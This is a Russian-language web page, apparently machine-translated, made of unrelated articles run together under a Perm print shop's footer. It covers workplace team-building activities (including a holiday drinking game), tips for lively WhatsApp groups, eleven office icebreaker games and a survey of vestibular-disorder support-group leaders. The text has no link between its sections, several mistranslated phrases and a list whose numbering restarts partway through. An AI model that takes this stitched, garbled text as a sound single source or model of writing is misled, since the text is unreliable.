Следующий шаг для начала работы: Обратите внимание на эти нестандартные магниты на холодильник.

73) Белый слон

«Получите то, о чем вы даже не подозревали.”

Попросите каждого гостя принести случайный, смешной, странный, веселый или иным образом традиционно «нежелательный» подарок. Все, что вам нужно сделать, это попросить гостей открыть подарки, и вуаля — вы получите мгновенное веселье с минимальным планированием и фанфарами.

Вы также можете вытащить Майкла Скотта и удивить всех, привезя что-то действительно потрясающее.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление и общение.

Почему нам это нравится: Вы получите массу удивительных воспоминаний, когда увидите, что каждый приносит, а также как все реагируют на то, что каждый приносит.

Следующий шаг для начала работы: Просмотрите эти идеи подарков.

74) Рудольф Пьяная игра

«Раскройте тайну блестящего красного носа Рудольфа».

Что может быть лучше, чем смотреть любимую праздничную классику? Смотрите любимую праздничную классику с удивительными коллегами, одновременно наслаждаясь праздничной игрой с выпивкой.

Возьмите свой любимый напиток и договоритесь о своих питьевых сигналах. Например, вы можете поставить шляпу Санты поверх экрана и немного выпить каждый раз, когда один из персонажей «носит» эту шляпу.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление и доверие.

Почему нам это нравится: Он создает массу праздничного настроения, будучи при этом немного более уютным и интимным, чем праздничный счастливый час или корпоративная вечеринка.

Следующий шаг для начала работы: Получите полные инструкции.

75) Сияй и расти

«Стремитесь к яркому новому году».

Соберитесь вместе для удовлетворительного размышления в конце года.Пригласите всех поделиться своим «сиянием» (достижением, которым они гордятся), а также своим «ростом» (целью на следующий год).

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, доверие, общение и сочувствие.

Почему нам это нравится: Это прекрасный шанс стать ближе как одна команда, отмечая достижения друг друга и поддерживая друг друга в достижении новых целей.

Следующий шаг для начала: Все, что вам нужно для успеха этого мероприятия, — это время, место, друг друга и, конечно же, несколько закусок.

Ищете дополнительные ресурсы для корпоративных праздничных вечеринок? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Заключение

Теперь у вас есть все идеи, необходимые для создания чего-то удивительного.

Мы надеемся, что вы вдохновитесь попробовать одно или все из этих занятий, даже если на это потребуется время. Не стесняйтесь делиться своим опытом и фаворитами тимбилдинга в разделе комментариев ниже.


Люди также задают эти вопросы о командных мероприятиях для работы

Q: Что такое тимбилдинг на работе?

  • A: Мероприятия по построению команды — это программы, разработанные для укрепления связей и взаимодействия между сотрудниками.Независимо от того, проводятся ли эти мероприятия сторонним лицом или штатным сотрудником, эти организованные мероприятия направлены на то, чтобы помочь коллегам чувствовать себя более комфортно на работе и быть заинтересованными в достижении больших командных целей.

В: Почему так важны командообразование для работы?

  • A: Все дело в вовлечении. Существует довольно четкая связь между личными связями между членами вашей команды и уровнем их вовлеченности. Недавнее исследование Gallup показало, что близкая рабочая дружба повышает удовлетворенность сотрудников на 50%, в то время как у людей, которые называют себя лучшими друзьями на работе, в семь раз больше шансов быть полностью вовлеченными в работу.

Q: Каковы преимущества тимбилдинга?

  • A: Другое исследование Gallup показало, что привлеченные компании постоянно превосходят конкурентов, когда речь идет о таких вещах, как прибыль, производительность и оборот. (Довольно важные вещи, если вы спросите нас.) И это понятно — чем ближе вы к своим коллегам, тем счастливее вы будете на работе и тем выше вероятность, что вы пожертвуете свое свободное время, чтобы помочь. им это удается.

В: Что такое гибридные мероприятия по построению команды?

  • A: Гибридные мероприятия по построению команды — это упражнения, игры и мероприятия, в которых могут участвовать как офисные, так и удаленные сотрудники.Эти действия могут включать в себя несколько групп, играющих одно и то же действие из разных мест лично или с помощью инструмента видеоконференцсвязи виртуально. Гибридные мероприятия предназначены для повышения вовлеченности сотрудников и товарищества в команде, позволяя коллегам связываться за пределами строго ориентированной на работу среды.

10 способов сделать вашу группу в WhatsApp интересной

группы WhatsApp сейчас очень распространены. У каждого есть одна или несколько групп WhatApp, чтобы они могли поддерживать связь со своими друзьями, организовывать праздник или мероприятие, а некоторые группы основаны на учебе и общих целях, где вы можете многому научиться.Многие люди создают группу в WhatsApp, но им не удается сделать ее более интересной и увлекательной, потому что они не знают, как управлять группой, и поэтому группы в WhatsApp иногда могут быть очень скучными. Каждый админ хочет, чтобы его группа оставалась активной и интересной, но на это нужно много времени.

Сегодня мы поговорим о том, как сделать нашу группу в WhatsApp интересной, чтобы участники не скучали и получали удовольствие от работы в группе. Вот несколько шагов, которые сделают вашу группу в WhatsApp активной, интересной и веселой.Или вы также можете присоединиться к интересным группам WhatsApp отсюда.

1. Один администратор

По моему опыту, первый принцип, делающий вашу группу WhatsApp более интересной, состоит в том, что в ней должен быть только один администратор. Потому что, если кто-то из двух администраторов не согласен, это повлияет на общение в чате всех и заставит людей покинуть группу. Чтобы сделать вашу группу интересной, убедитесь, что в ней есть только один администратор, поскольку вы, возможно, слышали, что «два капитана не могут управлять кораблем».

2. Не шумите

Интересная группа не означает, что в ней будет шумно и будут одновременно отправляться сотни сообщений. Группа в WhatsApp может быть интереснее, отправив несколько сообщений за один день.

3. Взаимодействовать друг с другом

Всегда находите способы взаимодействовать с участниками группы. По возможности задавайте вопросы о личной жизни и постарайтесь поделиться счастливыми и грустными историями из своей жизни. Это поможет другим участникам открыться и начать говорить без колебаний.Это один из лучших способов сделать вашу группу в WhatsApp более интересной.

4. Меньше времени проводите в группе

Как мы знаем, современный мир очень загружен, и у людей есть много других дел. Так что вы не сможете удерживать их в своей группе часами. Всегда старайтесь общаться в чате и писать в определенное время, чтобы участники были свободны и успели ответить. Не беспокойте их, отправляя сообщения каждый раз, иначе они выйдут из группы, посчитав ее скучной.

5. Лучшее время для общения

Лучшее время для общения в группе в WhatsApp — вечер и перед сном. Потому что в это время люди часто ищут чего-то расслабляющего, чтобы они могли легко выспаться и забыть о жизненном бремени.

6. Задавайте вопросы

Когда нечего сказать, задавайте вопросы членам своей группы. И постарайтесь задать общие вопросы, которые также легко понять, потому что большинство людей неразумны.Избегайте вопросов, на которые есть конкретные ответы.

Например, если вы спросите кого-то, какой предмет вы изучаете? Если он изучает психологию, он просто ответит, что я изучаю психологию.

Но вместо этого, если вы спросите, какой предмет вы изучаете и как вы его изучаете? Поэтому он не только ответит, что изучает психологию, но также расскажет о своем опыте и мнении о психологии.

Таким образом, эти вопросы откроют участникам вашей группы возможность поговорить, и вы сможете сделать свою группу в WhatsApp интересной и веселой.

1. Не спамить

Не отправляйте слишком длинные сообщения в группе, потому что люди часто их избегают читать. Попробуйте вместо этого отправлять короткие сообщения.

2. Удалите плохих людей

Если чье-то отношение заставило других участников покинуть группу, лучше его удалить. Это решение может быть трудным для вас, но лучше потерять одного плохого человека, чем нескольких участников.

3. Участники сохраняют интерес к группе

Чтобы группа была интересной и активной, требуется более одного человека.Без команды поддерживающих участников только администратор не сможет сохранить интерес к группе в WhatsApp, поскольку вы также слышали, что для ссоры нужны двое. Члены играют важнейшую роль в поддержании активности группы WhatsApp.

4. Процент активных участников

Если есть небольшой процент участников, которые говорят большую часть времени, тогда группа не будет интересной, независимо от того, сколько сообщений она получит. Насколько активна и интересна группа в WhatsApp, зависит от процента участников, которые принимают участие в групповых мероприятиях.У вас должно быть достаточное количество участников, которые вносят свой вклад в групповую деятельность.

Заключение

Есть также много других способов сделать свою группу в WhatsApp интересной, но тех, которые мы обсуждали выше, более чем достаточно для этой цели. Чтобы ваша группа в WhatsApp была интересной, вам не нужно подписываться на все из них, но, по крайней мере, вы должны подписаться на некоторые из них.

11 Icebreaker Games for Work, которые понравятся вашей команде

Согласно нашему отчету о вовлеченности сотрудников за 2017 год, только 24% сотрудников чувствуют связь со своими коллегами.Другими словами, более трех из каждых четырех сотрудников средней организации чувствуют себя хотя бы немного изолированными. Учитывая это, возможно, пришло время попробовать ледокольные игры.

ПОДРОБНЕЕ: 44 ВИРТУАЛЬНЫХ ЛЕДОВИКА И КОМАНДНЫЕ МЕРОПРИЯТИЯ ДЛЯ УДАЛЕННЫХ РАБОТНИКОВ

Сильные компании подпитываются командами, у которых завидный уровень товарищества.

Эти сильные облигации не создаются в одночасье. Напротив, они возникают в результате постоянного личного и профессионального взаимодействия каждого члена команды в течение нескольких месяцев или лет.

Один из самых простых способов обеспечить более тесные связи между своими сотрудниками — это либеральное использование офисных игр-ледоколов, которые представляют собой короткие и простые упражнения, призванные помочь людям узнать друг друга на личном уровне.

В этой статье мы рассмотрим 11 быстрых и увлекательных тимбилдингов, которые понравятся вашим сотрудникам, а также то, почему эти конкретные действия полезны для сплочения команды.

Давай проверим их.

Чехол для ледокольных игр

Веселые ледоколы могут помочь новым сотрудникам чувствовать себя комфортно рядом с новыми коллегами.В них также можно играть, чтобы помочь опытным сотрудникам узнать коллег, с которыми они редко или никогда не общаются.

Помимо этого, ледокольные игры предоставляют компаниям ряд преимуществ:

  • В них весело играть, что делает их долгожданным перерывом в обычной работе.
  • Они разрушают барьеры, которые могут существовать между сотрудниками.
  • Icebreaker games может помочь начать важные встречи или длительные тренировки.
  • Они облегчают сотрудникам общение друг с другом.
  • Они поощряют взаимодействие, которое обычно не происходит в обычный рабочий день.

Хотя во многих случаях профессионального взаимодействия в значительной степени избежать, сегодняшние сотрудники часто сотрудничают и вместе присутствуют на собраниях. Личное взаимодействие не всегда происходит так органично.

В таких ситуациях опытным сотрудникам может быть сложно не только познакомиться с коллегами, работающими в других отделах, но и новым сотрудникам может быть довольно сложно плавно перейти в компанию.

Это большое дело.

Как показывает наше предыдущее исследование, сотрудники — это главное, что нравится сотрудникам в своей работе. Когда компании не поддерживают инициативы по построению коллектива — или, по крайней мере, когда они не ставят их в приоритет, — как ветераны, так и новички в равной степени реже заводят друзей на работе.

Это не только затрудняет создание сильной команды, но и отрицательно сказывается на вовлеченности сотрудников, их удовлетворенности и производительности.

В этом случае все владельцы бизнеса, желающие успеха своей компании, должны предпринять шаги для того, чтобы их сотрудники узнали людей, с которыми они работают, что увеличивает их шансы на то, что они счастливы и вкладываются в компанию.

11 забавных занятий на ледоколе, которые понравятся вашим сотрудникам

Ищете ли вы ледокола для встреч или для приема на работу новых сотрудников, у нас есть все необходимое.

Конечно, эти игры иногда могут быть неудобными. Но это половина удовольствия.

И что самое приятное? Вы можете играть в большинство из них со своими удаленными командами (, коронавирус! ).

Вот 11 забавных ледоколов, которые понравятся вашим сотрудникам — от менеджеров до сотрудников.

01. Две правды и одна ложь

Куча новых сотрудников, начиная с сегодняшнего дня?

Если да, то устройте групповой обед или сделайте перерыв во второй половине дня, чтобы ваши сотрудники могли познакомиться с новичком.

Вот любой простой способ сделать это: собрав все, пусть каждый придумает две вещи, которые являются правдой о них самих, и другую ложь. Затем попросите каждого человека представить то, что они придумали.

Каждый пытается угадать правильный ответ, который приводит к рассказам о прошлых жизнях и способствует увлекательному и приятному разговору.

ИСТОЧНИК: prettylittlegrub.com

02. Найдите 10 общих вещей

Пожалуй, один из лучших ледоколов для больших групп.

Допустим, вы управляете большой компанией, где отделы редко взаимодействуют друг с другом.

Чтобы побудить сотрудников лучше узнать друг друга, проведите корпоративный обед (или звонок в Zoom).

Разделите всех на отдельные группы, обязательно включив сотрудников из всех отделов в каждую из них.

Поручите группам найти 10 общих черт (помимо очевидного, например, что они люди).

Вы можете обнаружить, что невероятное количество сотрудников побывало в Кеокеке, штат Айова, даже несмотря на то, что ваш офис находится на западном побережье.

ИСТОЧНИК: bullpenmom.blogspot.com

03. Whodunit

Разделите сотрудников на группы (или пары, если у вас небольшая компания).

Попросите каждого записать на карточке что-нибудь интересное, что они сделали (например, прыгать с парашютом, жить в 10 разных штатах, выпить галлон молока за пять минут — чем глупее, тем лучше).

Поместите карточки для заметок в шляпу, хорошенько встряхните и попросите каждого человека вытянуть карточку для заметок, которую они затем прочитают вслух.

Затем читатель должен попытаться угадать «детектив» и почему они пришли к такому выводу.

ИСТОЧНИК: frostdeer.tumblr.com

04.Охота за мусором

Если у вас есть немного свободного времени, вы всегда можете выбрать старомодную добрую охоту за мусором.

В зависимости от того, где расположен ваш офис, такое мероприятие может проводиться на месте (то есть, когда вы снова начнете там работать).

Или, если вам больше по душе приключения, вы можете отправить свою команду по кварталу или даже по городу (хотя это не рекомендуется во время пандемии).

Интересная альтернатива — устроить виртуальную охоту за мусором, цель которой не в том, чтобы найти конкретный предмет, а любой предмет, который «соответствует описанию».”

Например, вы можете попросить своих сотрудников сфотографировать предметы домашнего обихода, которые соответствуют одному из следующих описаний:

  • Что-то близкое им
  • Что-то, что напоминает им об их детстве
  • Предмет, который они абсолютно ненавидят, но все равно оставили

Охота на мусорщиков не только увлекательна, но и заставит каждую группу разговаривать друг с другом и работать вместе, чтобы выявлять проблемы и находить решения.

Дайте первой команде, которая соберет каждый предмет, главный приз. Подарочной карты на 25 долларов на Amazon или в ближайший ресторан будет достаточно.

ИСТОЧНИК: GIPHY

05. Человек камень-ножницы-бумага

Даже если вы робот с искусственным интеллектом, вы, вероятно, играли камень-ножницы-бумага хотя бы раз против друга или врага.

Но вы, вероятно, не применили игру к групповой настройке.

Вот как это работает: разбейте свой персонал на любое количество команд.Пусть каждый придумывает определенные телесные сигналы для каждого движения. Пусть каждая команда сразится в серии до лучших пяти и узнает, кто победит в турнире.

Слово мудрым: заранее убедитесь, что все растягиваются, потому что все может стать довольно напряженным.

И будьте осторожны: сотрудники могут страдать от истощения из-за слишком сильного смеха, поэтому вам может понадобиться дежурный медик.

ИСТОЧНИК: gifsgallery.com

06. Ледокол из одного слова

Вы ищете невероятно легкий ледокол, чтобы начать встречу или тренировку? Не смотрите дальше, чем ледокол из одного слова, который, как следует из названия, не требует особых объяснений.

Разделите участников собрания или тренинга на небольшие группы по четыре-пять человек. Задайте им очень простой вопрос — например, «Какое слово вы бы использовали, чтобы описать культуру нашей компании?» — и дайте каждой команде пять или 10 минут, чтобы придумать свои ответы.

Прежде чем закончить свое одно слово, команды проведут между собой обстоятельные обсуждения. Затем пришло время попросить каждую команду поделиться своими ответами с остальной частью группы, способствуя еще большему обсуждению.

ИСТОЧНИК: GIPHY

07.Зефирный вызов

Разделите свою команду на группы по четыре человека. Раздайте каждой группе по 20 палочек спагетти, три фута ленты, три фута веревки и один зефир. Попросите их построить как можно более высокую отдельно стоящую конструкцию. Устройтесь поудобнее и посмотрите, что произойдет. Задача зефира — идеальный гибрид ледокола и тимбилдинга.

Том Вуек, эксперт по бизнес-визуализации, рассказывает о преимуществах создания команды в Marshmallow Challenge:

08.Шарады

Если у вас есть большая команда или несколько сотрудников, которые нужно сплотить, вы никогда не ошибетесь с этой классической игрой для вечеринок.

Charades — это актерское мастерство. Цель состоит в том, чтобы описать объект, фильм, книгу или человека, используя только ваши актерские способности. Для краткости назовем это просто словом.

Есть несколько разных способов играть в эту игру, но вот как мы это делаем в TINYPulse:

  • Пусть один человек подберет слово.
  • Затем этот человек выбирает одного человека из группы и шепчет ему слово на ухо (или записывает его на листе бумаги).
  • Затем этому человеку придется разыграть / сделать что-то, что намекнет на слово, пока другие пытаются угадать правильный ответ.

Звучит довольно просто, правда?

Источник: GIPHY

09. Были ли вы когда-нибудь

На случай, если вам интересно: Yes, Have You Ever — это почти то же самое, что Never Have I Ever.

Вот как идут правила:

  • Попросите всех поднять пять пальцев (или приготовьте напиток, так как это, по сути, игра с выпивкой).
  • Один человек делает заявление, которое начинается со слов «Вы когда-нибудь» или «Никогда не видел», за которым следует что-то интересное. Например, «Вы когда-нибудь проезжали на красный свет?»
  • Если кто-то сделал это в какой-то момент своей жизни, ему придется сложить один палец (или выпить).

Излишне говорить, что эта веселая игра-ледокол действительно изменит ваше отношение к некоторым сотрудникам!

Источник: GIPHY

10. Горячее сиденье

Hot Seat — это увлекательный способ сблизить всех и узнать друг о друге новое.

Вот как это работает: выберите одного человека, который сядет на горячее сиденье. Каждый может задать один вопрос (они могут быть о чем угодно — от чего-то очень личного до проекта, который мог вызвать драму на рабочем месте).

Просто убедитесь, что все не становится слишком личным .

Источник: GIPHY

Цель этого задания — задавать веселые вопросы о ледоколе, а не вызывать конфликта.

11. Не могли бы вы

Есть ли лучший способ узнать своих коллег, чем задавать им странные вопросы?

«Скорее бы вы» — это быстрое занятие по ледоколу, которое включает в себя, как вы уже догадались, задавая вопросы, которые начинаются со слов «вы бы предпочли.”

Предложите человеку два сценария и попросите его выбрать один из них. Сделайте его более интересным, поставив их перед дилеммами.

Вот несколько идей:

  • Вы бы предпочли иметь возможность летать или телепортироваться?
  • Вы бы стерли все войны из истории (не нарушая нынешних ландшафтов) или нашли бы лекарство от рака?
  • Вы бы предпочли прекратить смотреть фильмы или перестать слушать музыку?

Источник: GIPHY

Кроме того, попросите всех объяснить, почему они выбрали именно то, что выбрали.

Найдите занятия, которые идеально подходят вашей команде

Помните, хотя некоторые из ваших сотрудников могут быть социальными бабочками, не все из них.

Самый простой способ помочь вашим сотрудникам лучше узнать друг друга — это поощрять взаимодействие так, как это удобно большинству людей. Поскольку все участники участвуют в нем вместе, ледоколы — один из самых быстрых путей к сплоченной команде.

Как только вы почувствуете, что всем комфортно и что они разговаривают друг с другом, вы можете переходить к более сложным упражнениям по построению команды.

Есть тонна рабочих ледоколов, которые нам точно не хватало. Попробуйте один из вышеперечисленных способов и отправьте простой импульсный опрос, чтобы узнать, нравится ли участникам вашей встречи игра и принимать обоснованные решения для улучшения впечатлений.

«Что мне нравится в TINYpulse, так это то, что вы каждую неделю сверяетесь с членами своей команды. А затем мы можем быстро реагировать и решать вопросы, вместо того, чтобы ждать до ежегодного опроса».

—Адир Кейтс, основатель и генеральный директор Dynamic Events

Если у вас есть другие замечательные идеи для ледокола, поделитесь ими в разделе комментариев ниже или напишите нам в Твиттере на @TINYpulse!

Чем интересна группа поддержки?

Лидеры рассказывают, что делает группы поддержки успешными

Группы поддержки предлагают людям с вестибулярными расстройствами возможность встретиться лицом к лицу с другими людьми, которые испытывают аналогичные проблемы, а также послушать презентации медицинских работников по интересующим их темам.Ассоциация вестибулярных расстройств (VeDA) служит центром и предлагает помощь группам поддержки по всему миру. VeDA недавно опросила лидеров этих групп, чтобы определить характеристики успешных групп поддержки и то, как VeDA может улучшить помощь, которую им оказывает.

Из 57 опросов, которые были розданы руководителям групп, 27 были заполнены и отправлены обратно в VeDA. Хотя структура опроса не поддерживает строгий статистический анализ, здесь обобщены скомпилированные ответы, дающие некоторые наблюдения об особенностях и стратегиях лидерства процветающих групп (давно существующих групп и / или тех, которые встречаются регулярно), в отличие от тех, которые которые борются за регулярные встречи и поддержание уровня интереса.

Почему люди участвуют

Почти все лидеры групп поддержки сообщили о четырех причинах, по которым люди посещают собрания:

  • Чтобы научиться справляться с трудностями и стратегиями
  • Общаться
  • Для выражения эмоций
  • Чтобы узнать о вестибулярных нарушениях

Реже сообщалось об использовании встреч, чтобы показать семье и друзьям, что симптомы индивидуума не уникальны. Однако на эту мотивацию указали в два раза больше процветающих групп, чем у борющихся.

Формат встречи и темы

Как преуспевающие, так и менее успешные группы используют следующие рекомендуемые мероприятия или форматы встреч, перечисленные в порядке от наиболее частого до наименее часто упоминаемого:

  • Медицинские работники и другие лица (например, юристы) в качестве приглашенных докладчиков. Этот формат привлекает самую большую аудиторию.
  • Групповое обсуждение конкретных тем
  • DVD производства VeDA
  • Менее структурированная встреча
  • Социальные функции (нечасто)

Наиболее часто упоминаемыми (по порядку) темами обсуждения были следующие:

  • Как справиться с ситуацией в семье и дома, на работе или в школе, а также в социальных сетях
  • Специфические вестибулярные расстройства
  • Проблемы диагностики и тестирования
  • Процедуры
  • Предполагаемое отсутствие интереса или знаний со стороны медицинских работников
  • Отсутствие у врачей времени для обсуждения всех вопросов и проблем пациента
  • Проблемы с инвалидностью

Большинство лидеров групп поддержки используют темы, вдохновленные мнением специалистов в области здравоохранения, а также темы, предложенные участниками или представленные в информационном бюллетене VeDA (На уровне).

Долговечность опорной группы

Примерно половина респондентов возглавляют группы, которые встречаются не менее шести лет. Более одной трети групп встречаются более десяти лет.

Руководители группы

сообщили, что наиболее частыми причинами, по которым люди перестают приходить на собрания, являются конфликты в расписании и трудности с путешествием с симптомами. Другие предполагаемые причины заключались в том, что не была предоставлена ​​новая информация или что группе удалось помочь человеку в той степени, в которой это было необходимо.

Места встреч и частота встреч

Процветающие группы обычно — это те, которые всегда встречаются физически, в отличие от групп, которые иногда полагаются на обсуждения по электронной почте. Наиболее частые места встреч — конференц-залы больниц и общественные здания, такие как библиотеки или церкви. Процветающие группы редко сообщали о частных домах и кабинетах врачей как о местах встреч. «Встречи» в электронном виде по электронной почте не были отмечены процветающими группами, но были упомянуты несколькими борющимися группами.

Половина групп собирается ежемесячно; остальные встречаются реже. Большинство наиболее продолжительных и более посещаемых групп встречаются не реже одного раза в месяц. Многие ежемесячные группы планируют перерыв на несколько месяцев, обычно летом. Это дает лидерам перерыв и помогает избежать падения посещаемости во время отпуска.

Посещаемость

Похоже, что процветающие группы проводят более масштабные встречи, и многие из них сообщают, что в среднем 15 и более участников. Мы спросили фасилитаторов, какой размер группы они предпочитают для встреч, которые обеспечивают необходимую поддержку, остаются интересными и простыми в управлении.Практически все ответы показали, что динамика лучше всего, когда участников больше 10. Лидеры как борющихся, так и преуспевающих групп указали, однако, что количество участников не обязательно имеет значение или что оно частично зависит от личностей присутствующих.

Некоторые лидеры групп сообщили о том, что время от времени собиралось более 100 участников. В обоих типах групп наиболее частая средняя посещаемость составляла 5–10 человек.

Лидеры успешных групп поддержки

Большинство лидеров, вернувшихся с опросом, никогда не руководили группой поддержки до того, как начали вести свою группу с вестибулярными расстройствами.Их наиболее распространенной мотивацией было личное желание предоставить информацию и поддержку. Многие медицинские работники указали, что в их клинической практике есть потребность. В некоторых случаях человека мотивировала потребность взять на себя руководство существующей группой. Многие лидеры группы были основателями своей группы.

У половины всех групп были соруководители. Упомянутые преимущества наличия соруководителя включали возможность обмениваться идеями планирования и наличие резервного лидера на случай необходимого отсутствия.

Примерно половина руководителей групп, ответивших на опрос, являются профессионалами здравоохранения. В их число входят социальные работники, эрготерапевты, физиотерапевты, аудиологи, медсестра и сертифицированный фельдшер. Среди руководителей групп, не прошедших подготовку по медицинским профессиям, текущая или бывшая профессия включала учителя, библиотекаря, президента ассоциации, координатора сервисной организации, аналитика, волонтера, агента по недвижимости, наставника по профессиональной реабилитации и администратора.Эти лидеры считали, что наличие личного опыта с вестибулярным расстройством было наиболее важной чертой, помогающей им руководить группой. Среди других важных упомянутых качеств были готовность выслушивать и предлагать поддержку, хорошие коммуникативные навыки (выступать в качестве фасилитатора и устанавливать контакт с потенциальными приглашенными ораторами), готовность провести небольшое исследование, чтобы помочь вести дискуссии, и способность координировать такие действия. в качестве рекламы, поиска места встречи и определения тем встречи.

Создание и популяризация группы

Половина респондентов получила помощь в клинике в создании группы поддержки вестибулярных расстройств. Для более длительно действующих групп более обычным явлением было получение помощи из клиники.

Как новые, так и уже существующие группы поддержки обычно рекламируют встречи через местных врачей, которые информируют своих пациентов. Дополнительные формы рекламы включают листовки, которые раздаются профессиональным офисам и больницам, размещаются на досках объявлений сообщества или отправляются по почте потенциальным посетителям; и объявления на веб-сайте VeDA, на странице VeDA в Facebook и в местных газетах.Некоторые из давно действующих групп размещают рекламу на форумах в Интернете. Наиболее успешные группы стремятся использовать весь спектр рекламных методов.

Наконец, участники опроса предложили ряд советов всем, кто рассматривает возможность создания новой группы или оживления существующей.

  • Представьтесь местным профессионалам, таким как фармацевты, психологи, неврологи, отологи, офтальмологи, социальные работники, физиотерапевты и эрготерапевты и аудиологи.Они могут быть заинтересованы в предоставлении информации, разговоре с группой или информировании об этом своих пациентов.
  • Начните короткий местный информационный бюллетень, чтобы информировать людей о темах и датах встреч.
  • Используйте онлайн-список групп поддержки VeDA, чтобы связаться с другими лидерами, чтобы получить советы о том, как справляться с ситуациями или найти новые идеи.
  • Исследуйте вестибулярные расстройства и темы для встреч, читая и разговаривая с профессионалами в области здравоохранения.
  • Попросите членов группы назвать причину, по которой они пришли в группу, чтобы вы могли учесть эту потребность при планировании собраний.
  • Подбадривайте; не зацикливайтесь на негативе.
  • Избегайте микроуправления группой. Пусть участники группы сделают часть работы, но не ставьте людей в затруднительное положение.
  • Попробуйте. Приятно видеть облегчение в человеке, который говорит: «Я наконец нашел такого, как я, который понимает».

Сводка

Ответы на опрос VeDA показывают, что наиболее успешные группы поддержки, как правило, встречаются не реже одного раза в месяц в обычных и общественных местах.Они широко освещают свои встречи. Информирование местных врачей о собраниях группы и приглашенные докладчики помогают поддерживать уровень участия и, таким образом, потенциально улучшать групповую динамику. Независимо от структуры собраний, они дают возможность людям собраться вместе с другими людьми, испытывающими аналогичные симптомы или обстоятельства.

Оставить комментарий

Добавить комментарий

Ваш адрес email не будет опубликован.

© 2019 Штирлиц Сеть печатных салонов в Перми

Цифровая печать, цветное и черно-белое копирование документов, сканирование документов, ризография в Перми.